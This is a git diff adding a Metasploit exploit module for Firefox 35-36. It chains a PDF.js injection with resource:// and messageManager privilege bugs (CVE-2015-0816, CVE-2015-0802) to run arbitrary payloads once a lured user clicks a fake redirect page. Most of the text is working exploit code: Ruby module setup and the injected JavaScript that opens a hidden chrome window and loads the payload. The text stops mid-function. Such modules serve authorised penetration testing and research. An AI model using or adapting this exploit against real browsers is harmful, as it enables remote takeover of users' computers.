diff --git a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb new file mode 100644 index 0000000000..6f189edac5 --- /dev/null +++ b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb @@ -0,0 +1,256 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox PDF.js Privileged Javascript Injection', + 'Description' => %q{ + This module gains remote code execution on Firefox 35-36 by abusing a + privilege escalation bug in resource:// URIs. PDF.js is used to exploit + the bug. This exploit requires the user to click anywhere on the page to + trigger the vulnerability. + }, + 'Author' => [ + 'Unknown', # PDF.js injection injection code was taken from a 0day + 'Marius Mlynski', # discovery and pwn2own exploit + 'joev' # copypasta monkey, CVE-2015-0802 + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-0816'], # pdf.js can load chrome:// + ['CVE', '2015-0802'] # can access messageManager property in chrome window + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(35, 36) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML ." ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + print_status('Sending exploit...') + send_response_html(cli, html) + end + + def html + "#{datastore['CONTENT'] || default_html}"+ + "" + end + + def default_html + "The page has moved. Click here to be redirected." + end + + def js + key = Rex::Text.rand_text_alpha(5 + rand(12)) + frame = Rex::Text.rand_text_alpha(5 + rand(12)) + r = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + + <<-EOJS +function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); +} + +function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; +} + +function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + done = false; + window.onclick = function() { + if (done) { return; } done = true; + q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px"); + setTimeout(function(){ + q.location='data:text/html,'; + + setTimeout(function(){ + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + q.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + q.close(); + }, 100) + }, 100) + }, 100); + } + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '